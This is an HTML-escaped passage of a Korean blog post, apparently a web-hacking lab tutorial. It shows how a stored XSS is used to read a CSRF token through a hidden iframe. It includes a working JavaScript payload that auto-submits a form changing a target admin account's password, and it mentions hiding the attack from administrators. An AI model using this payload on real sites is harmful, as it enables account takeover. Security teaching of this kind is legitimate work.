  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbPlnb/dJMcajt6Jvv/pozZBkm7Cj9Nfn1MR4g7mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbPlnb/dJMcajt6Jvv/pozZBkm7Cj9Nfn1MR4g7mk/img.png&quot; data-origin-width=&quot;982&quot; data-origin-height=&quot;1016&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.184%; margin-right: 10px;&quot; data-widthpercent=&quot;48.75&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbPlnb/dJMcajt6Jvv/pozZBkm7Cj9Nfn1MR4g7mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbPlnb%2FdJMcajt6Jvv%2FpozZBkm7Cj9Nfn1MR4g7mk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;982&quot; height=&quot;1016&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yTfl7/dJMb99ZooRg/Q8TvNpIgBnkAwP957W6KZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yTfl7/dJMb99ZooRg/Q8TvNpIgBnkAwP957W6KZK/img.png&quot; data-origin-width=&quot;1012&quot; data-origin-height=&quot;996&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.6532%;&quot; data-widthpercent=&quot;51.25&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yTfl7/dJMb99ZooRg/Q8TvNpIgBnkAwP957W6KZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyTfl7%2FdJMb99ZooRg%2FQ8TvNpIgBnkAwP957W6KZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1012&quot; height=&quot;996&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;계정을 하나 만드는 대신 계정에 해당되는 admin에 접속하는 것 입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test123 계정을 만들었습니다. test123_admin 이라는 계정이 생겼으니&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test123_admin 계정을 탈취해보면 될 것 같습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UVhM0/dJMcadUXSTX/6kXHq1a5DW8bT4KkCckWO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UVhM0/dJMcadUXSTX/6kXHq1a5DW8bT4KkCckWO1/img.png&quot; data-origin-width=&quot;1467&quot; data-origin-height=&quot;419&quot; data-is-animation=&quot;false&quot; style=&quot;width: 64.2037%; margin-right: 10px;&quot; data-widthpercent=&quot;64.96&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UVhM0/dJMcadUXSTX/6kXHq1a5DW8bT4KkCckWO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUVhM0%2FdJMcadUXSTX%2F6kXHq1a5DW8bT4KkCckWO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1467&quot; height=&quot;419&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kAKkj/dJMcabXcLUH/kzbmDPUSnIianfyNd4gUzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kAKkj/dJMcabXcLUH/kzbmDPUSnIianfyNd4gUzk/img.png&quot; data-origin-width=&quot;1764&quot; data-origin-height=&quot;934&quot; data-is-animation=&quot;false&quot; style=&quot;width: 34.6335%;&quot; data-widthpercent=&quot;35.04&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kAKkj/dJMcabXcLUH/kzbmDPUSnIianfyNd4gUzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkAKkj%2FdJMcabXcLUH%2FkzbmDPUSnIianfyNd4gUzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1764&quot; height=&quot;934&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bq8cS5/dJMcahwlkDh/TvmN8QZcDd478mEHkHYmA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bq8cS5/dJMcahwlkDh/TvmN8QZcDd478mEHkHYmA1/img.png&quot; data-origin-width=&quot;1474&quot; data-origin-height=&quot;375&quot; data-is-animation=&quot;false&quot; style=&quot;width: 74.6825%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;75.56&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bq8cS5/dJMcahwlkDh/TvmN8QZcDd478mEHkHYmA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbq8cS5%2FdJMcahwlkDh%2FTvmN8QZcDd478mEHkHYmA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1474&quot; height=&quot;375&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ugQTN/dJMcabpl0YL/LE8szPwWNhkFL5i5nwsnwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ugQTN/dJMcabpl0YL/LE8szPwWNhkFL5i5nwsnwk/img.png&quot; data-origin-width=&quot;1626&quot; data-origin-height=&quot;1279&quot; data-is-animation=&quot;false&quot; style=&quot;width: 24.1547%; margin-top: 10px;&quot; data-widthpercent=&quot;24.44&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ugQTN/dJMcabpl0YL/LE8szPwWNhkFL5i5nwsnwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FugQTN%2FdJMcabpl0YL%2FLE8szPwWNhkFL5i5nwsnwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1626&quot; height=&quot;1279&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 비밀번호 변경을 해보았는데 CSRF 토큰을 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;체크를 하고 있었습니다. 저번 시간에도 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 토큰이 완벽하지 않다. 라고 말씀 드렸습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이제 그 이유를 실습을 진행하면서 말씀드리겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 XSS 취약점인 게시글 페이지를 찾았습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그리고 iframe을 이용하여 CSRF 토큰이 존재하는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Mypage에 접근을 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이제 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;iframe에 존재하는 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 토큰을 찾아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;479&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bv5UYA/dJMb99ZopfI/wBOMqyjNF1dlmehJmTwgf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bv5UYA/dJMb99ZopfI/wBOMqyjNF1dlmehJmTwgf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bv5UYA/dJMb99ZopfI/wBOMqyjNF1dlmehJmTwgf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbv5UYA%2FdJMb99ZopfI%2FwBOMqyjNF1dlmehJmTwgf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1312&quot; height=&quot;479&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;479&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;개발자 도구를 통해 CSRF 토큰을 찾았는데요. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;hidden으로 감추어져 있었습니다. 다음은 document 객체를 이용하여&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; value 값까지 진입 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;깔끔하게 찾았습니다. CSRF 토큰을 찾았으니 이것을&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;508&quot; data-origin-height=&quot;41&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZA9qe/dJMcafrLtSI/w3vJUagIKTuVAItAlTUQLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZA9qe/dJMcafrLtSI/w3vJUagIKTuVAItAlTUQLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZA9qe/dJMcafrLtSI/w3vJUagIKTuVAItAlTUQLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZA9qe%2FdJMcafrLtSI%2Fw3vJUagIKTuVAItAlTUQLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;731&quot; height=&quot;59&quot; data-origin-width=&quot;508&quot; data-origin-height=&quot;41&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;적&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;용한 페이로드를 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;작성하면 되겠습니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0mrm8/dJMcadObISe/WDKRYJk5KxOBKvgZPNdIu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0mrm8/dJMcadObISe/WDKRYJk5KxOBKvgZPNdIu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0mrm8/dJMcadObISe/WDKRYJk5KxOBKvgZPNdIu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0mrm8%2FdJMcadObISe%2FWDKRYJk5KxOBKvgZPNdIu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;190&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;508&quot; data-origin-height=&quot;41&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZA9qe/dJMcafrLtSI/w3vJUagIKTuVAItAlTUQLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZA9qe/dJMcafrLtSI/w3vJUagIKTuVAItAlTUQLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZA9qe/dJMcafrLtSI/w3vJUagIKTuVAItAlTUQLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZA9qe%2FdJMcafrLtSI%2Fw3vJUagIKTuVAItAlTUQLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;731&quot; height=&quot;59&quot; data-origin-width=&quot;508&quot; data-origin-height=&quot;41&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1048&quot; data-origin-height=&quot;553&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cyGib0/dJMcahXraXu/zKRkZbLNk7KvXCTGuS2zz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cyGib0/dJMcahXraXu/zKRkZbLNk7KvXCTGuS2zz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cyGib0/dJMcahXraXu/zKRkZbLNk7KvXCTGuS2zz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcyGib0%2FdJMcahXraXu%2FzKRkZbLNk7KvXCTGuS2zz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1048&quot; height=&quot;553&quot; data-origin-width=&quot;1048&quot; data-origin-height=&quot;553&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1767877391359&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;iframe src=&quot;CSRF 토큰이 존재하는 페이지&quot; id=&quot;get_token&quot; onload=&quot;bypass()&quot;&amp;gt;&amp;lt;/iframe&amp;gt;

&amp;lt;script&amp;gt;
function bypass(){
	let token = document.getElementById('get_token').contentDocument.forms[0].csrf_token.value;
	alert(token);
}
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;일단&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;content 를 사용하기 위해 id를 지정해줍니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그리고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;script를 작성하여 토큰을 가지고 오는지 테스트를 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;443&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7LZLo/dJMcadHrB0C/r23y4ohiwTVEHFLKfHRk60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7LZLo/dJMcadHrB0C/r23y4ohiwTVEHFLKfHRk60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7LZLo/dJMcadHrB0C/r23y4ohiwTVEHFLKfHRk60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7LZLo%2FdJMcadHrB0C%2Fr23y4ohiwTVEHFLKfHRk60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;823&quot; height=&quot;443&quot; data-origin-width=&quot;823&quot; data-origin-height=&quot;443&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;자!! 토큰을&amp;nbsp; 가져오게되었습니다. 이제 alert(token); &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;대신 사용할 코드를 작성해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;pre id=&quot;code_1767878385528&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;iframe src=&quot;CSRF 토큰 페이지&quot; id=&quot;get_token&quot; onload=&quot;bypass()&quot;style=&quot;display:none;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;

&amp;lt;form method=&quot;POST&quot; action=&quot;회원수정완료 페이지&quot; id=&quot;myForm&quot;&amp;gt;
	&amp;lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;&quot;/&amp;gt;
	&amp;lt;input type=&quot;hidden&quot; name=&quot;info&quot; value=&quot;&quot;/&amp;gt;
	&amp;lt;input type=&quot;hidden&quot; name=&quot;pw&quot; value=&quot;123456&quot;/&amp;gt;
	&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;&quot; id=&quot;token_input&quot;/&amp;gt;
&amp;lt;/form&amp;gt;

&amp;lt;script&amp;gt;
function bypass(){
	let token = document.getElementById('get_token').contentDocument.forms[0].csrf_token.value;
	
	document.getElementById('token_input').value=token;
	document.getElementById('myForm').submit();
	
}
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;582&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpfstw/dJMb99SCO9k/HXpoq7iT98h3HplJLKjep1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpfstw/dJMb99SCO9k/HXpoq7iT98h3HplJLKjep1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpfstw/dJMb99SCO9k/HXpoq7iT98h3HplJLKjep1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcpfstw%2FdJMb99SCO9k%2FHXpoq7iT98h3HplJLKjep1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;582&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;582&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;iframe을 실행 -&amp;gt; onload [bypass 함수] -&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;bypass 함수에서&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 토큰 가져오기 -&amp;gt; FROM에 token_input에 넣고 -&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;myForm 에서 submit (실행)하게 되면 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;회원정보가 수정이 됩니다. 하지만 관리자가 알아챌수 있기 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;때문에 코드도 수정이 필요합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cD4jcW/dJMcabXcOaC/ZoTyukT0Cqgk1bGGrQ58ik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cD4jcW/dJMcabXcOaC/ZoTyukT0Cqgk1bGGrQ58ik/img.png&quot; data-origin-width=&quot;1352&quot; data-origin-height=&quot;753&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.6536%; margin-right: 10px;&quot; data-widthpercent=&quot;49.23&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cD4jcW/dJMcabXcOaC/ZoTyukT0Cqgk1bGGrQ58ik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcD4jcW%2FdJMcabXcOaC%2FZoTyukT0Cqgk1bGGrQ58ik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1352&quot; height=&quot;753&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xNTbn/dJMcabJGnRd/RHN3bxoDl6nCKKiUFibIfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xNTbn/dJMcabJGnRd/RHN3bxoDl6nCKKiUFibIfk/img.png&quot; data-origin-width=&quot;1476&quot; data-origin-height=&quot;797&quot; data-is-animation=&quot;false&quot; style=&quot;width: 50.1836%;&quot; data-widthpercent=&quot;50.77&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xNTbn/dJMcabJGnRd/RHN3bxoDl6nCKKiUFibIfk/img.png&quot; 